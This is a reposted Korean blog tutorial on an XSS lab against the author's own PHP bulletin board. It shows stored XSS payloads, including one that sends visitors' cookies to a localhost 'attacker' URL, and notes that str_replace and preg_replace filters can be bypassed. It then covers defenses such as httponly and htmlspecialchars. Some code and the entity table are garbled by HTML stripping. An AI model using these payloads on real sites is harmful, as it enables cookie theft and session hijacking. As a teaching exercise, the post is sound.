on
[Web Hacking] XSS(Cross-Site Scripting) 실습
[Web Hacking] XSS(Cross-Site Scripting) 실습
728x90
앞서 포스팅한 [Web Hacking] XSS(Cross-Site Scripting) 취약점(아래 링크)을 토대로 실습을 진행해보았다.
XSS 실습
앞서 제작한 게시판 웹앱에서 실습해 보기로 했다.
query($query); if ($result) { ?> alert(""); location.replace("");
위 PHP 코드는 게시판 기능 중 게시글 작성시 필요한 기능인 write_action.php 소스코드이다.
XSS에 대한 어떠한 방지 기능도 구현하지 않았기 때문에 대부분의 공격 기법이 잘 먹히는 것을 확인할 수 있을 것이다.
먼저, 가장 간단한 alert 구문에 documet.cookie를 입력하고 저장하여, 게시글 확인 시 민감 정보인 쿠키를 출력하도록 Stored XSS 공격을 진행해 보았다.
// 공격 스크립트 alert(document.cookie)
Stored XSS 1 - Attack
Stored XSS 1 - Result
위와 같이 쿠키가 정상적으로 출력된 것을 확인할 수 있다.
쿠키가 잘 출력된 것을 확인했으니, 이번에는 사용자의 쿠키를 탈취한 뒤 공격자에게 전송하는 XSS 공격을 시도해보도록 하겠다.
// 공격 스크립트 document.location="localhost/cookie?"+document.cookie
위 스크립트를 살펴보면 document.cookie를 통해 사용자의 쿠키를 수집하고, document.location을 통해 수집한 쿠키를 공격자의 웹 사이트로 리다이렉션한다.
본 실습에서 공격자를 localhost에서 구현하였기에 주소를 localhost로 입력했다.
Stored XSS 2 - Result
본 게시글에 접근하는 사용자의 쿠키를 확인하기 위해서는 접근 로그를 기록하는 access_log 파일을 확인하면 된다.
access_log 파일은 웹 서버로 들어오는 모든 정보가 기록되는 공간이며, 필자의 환경에서 다음과 같이 명령을 실행하였다.
tail -f Applications/mampstack-8.0.3-0/apache2/logs/access_log
tail -f access_log
위와 같이 수집된 사용자의 쿠키가 실시간으로 출력되는 것을 확인할 수 있다.
이를 서버 단에서 방지하기 위해 스크립트에 의한 Cookie 접근을 제한하는 옵션인 httponly를 사용할 수 있다.
PHP 기준, /etc/php.ini 파일에서 session.cookie_httponly = 1로 설정한 후 재시작하면 적용된다.
[htmlspecialchars 함수]
htmlspecialchars 함수는 문자열에서 특정한 특수문자를 HTML 엔티티로 변환한다. 이 함수를 사용하면 악성 사용자로 부터 XSS 공격을 방지 할 수 있다.
변환되는 문자는 아래와 같다.
특수문자 변환된 문자 & & " " ' ' < < > >
이렇게 변환된 문자열들은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않기 때문에 공격자가 삽입한 스크립트 코드는 실행되지 않는다.
대부분의 언어들은 이러한 처리 기능을 가진 내장 함수를 포함하여 XSS 공격을 방지한다.
[str_replace 필터링]
그러나 자바스크립트는 대소문자를 구별하는 특성을 지니고 있기 때문에 지정한 값만 치환되며 대소문자를 섞어
[preg_replace 필터링]
preg_replace("검색패턴(정규식)"), "치환할 문자열", 변수);
preg_replace 함수는 str_replace 함수와 달리, 대소문자를 구별하지 않기 때문에 지정한 값의 대소문자 변환 경우의 수는 모두 치환된다.
그러나 ript>와 같이 입력하면 우회가 가능하다. 따라서 preg_replace 필터링 방식은 적절한 대응 방안이 될 수 없다.
[XSS Cheat Sheet]
XSS Cheat Sheet를 참조하여 각종 이벤트 핸들러 등 공격 가능한 부분을 파악한 후 대응하는 것이 중요하다.
XSS Cheat Sheet 관련 웹 사이트 및 문서를 모아두었다. 언젠가 쓸 일이 있지 않을까.
[참고]
https://g-idler.tistory.com/12?category=829171
728x90
from http://hooneee.tistory.com/369 by ccl(A) rewrite - 2021-10-28 11:26:21